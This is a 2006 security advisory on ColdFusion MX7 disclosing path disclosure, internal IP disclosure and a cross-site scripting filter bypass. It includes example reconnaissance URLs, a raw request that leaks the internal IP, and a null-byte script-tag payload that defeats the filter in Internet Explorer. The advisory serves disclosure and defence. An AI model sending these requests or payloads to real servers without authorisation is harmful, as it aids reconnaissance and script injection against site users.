Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A

Just clearing stuff out before Christmas. ======================================================================== = ColdFusion MX7 - Multiple Vulnerabilities = = Vendor Website: = http://www.Adobe.com = = Affected Software: = ColdFusion MX7 (and possibly MX6) = = Public disclosure on Monday December 11, 2006 ======================================================================== == Overview == This advisory discloses three separate security issues in ColdFusion MX7. * Server Path Disclosure * It is possible to cause the server to disclose the local path by making an invalid request. This information could be used to aide in other file or path based attacks. The request must be for an existing file, that has an extension not handled by the web server. (ie: not asp,aspx). The request must be terminated with either of the following; /.jws /.cfm /.cfml /.cfc Some example requests are; http://serverip/page1.htm/a.cfm http://serverip/CFIDE/administrator/analyzer/img/minus.gif/a.cfm http://serverip/jrunscripts/jrun.ini/a.cfm http://serverip/jrunscripts/jrunserver.store/a.cfm http://serverip/jrunscripts/readme.txt/a.cfm This has been confirmed against installs that do NOT have debugging or robust exception information turned on. Sending a request in this format returns a message similar to; Error parsing the Tag Library Descriptor file:/d:/sekretpath/hidden/page1.htm/.. * Internal IP Address Disclosure * It is possible to cause the server to disclose the internal network IP address of the host. This information could be used to aide in other network based attacks. Making a request to the /CFIDE/administrator/login.cfm page WITHOUT supplying a host, will result in the internal IP address of the server to be disclosed as part of an href tag. ------------------------------------------------------------------ GET /CFIDE/administrator/login.cfm HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Thu, 09 Nov 2006 05:44:02 GMT <html> <head> <LINK REL="SHORTCUT ICON" href="http://INTERNALADDRESS:80/CFIDE/administrator/favicon.ico"> ------------------------------------------------------------------ * Cross Site Scripting Protection Bypass * ColdFusion MX7 appears to have built in protection against cross site scripting attacks, and will replace <script> tags with <invalid tag>. Example URL that is converted to a 'safe' format; http://server/CFIDE/componentutils/cfcexplorer.cfc? method=getcfcinhtmtestl&name=CFIDE.adminapi.administrator& path=/cfide/adminapi/administrator.cfctest"> <script>alert()</script> By inserting a %00 within the <script> tag, it is possible to still conduct cross site scripting attacks against users of Internet Explorer. Example URL that will have script executed; http://server/CFIDE/componentutils/cfcexplorer.cfc? method=getcfcinhtmtestl&name=CFIDE.adminapi.administrator& path=/cfide/adminapi/administrator.cfctest"> <%00script>alert(document.domain)</script> == Solutions == Currently, the issues outlined in the report are being considered for the next major version of ColdFusion - the release date is currently not finalized. There is currently no plan to release security bulletins for any of the issues from the report == Credit == Discovered and advised to Adobe November 11, 2006 by Brett Moore of Security-Assessment.com == About Security-Assessment.com == Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region.
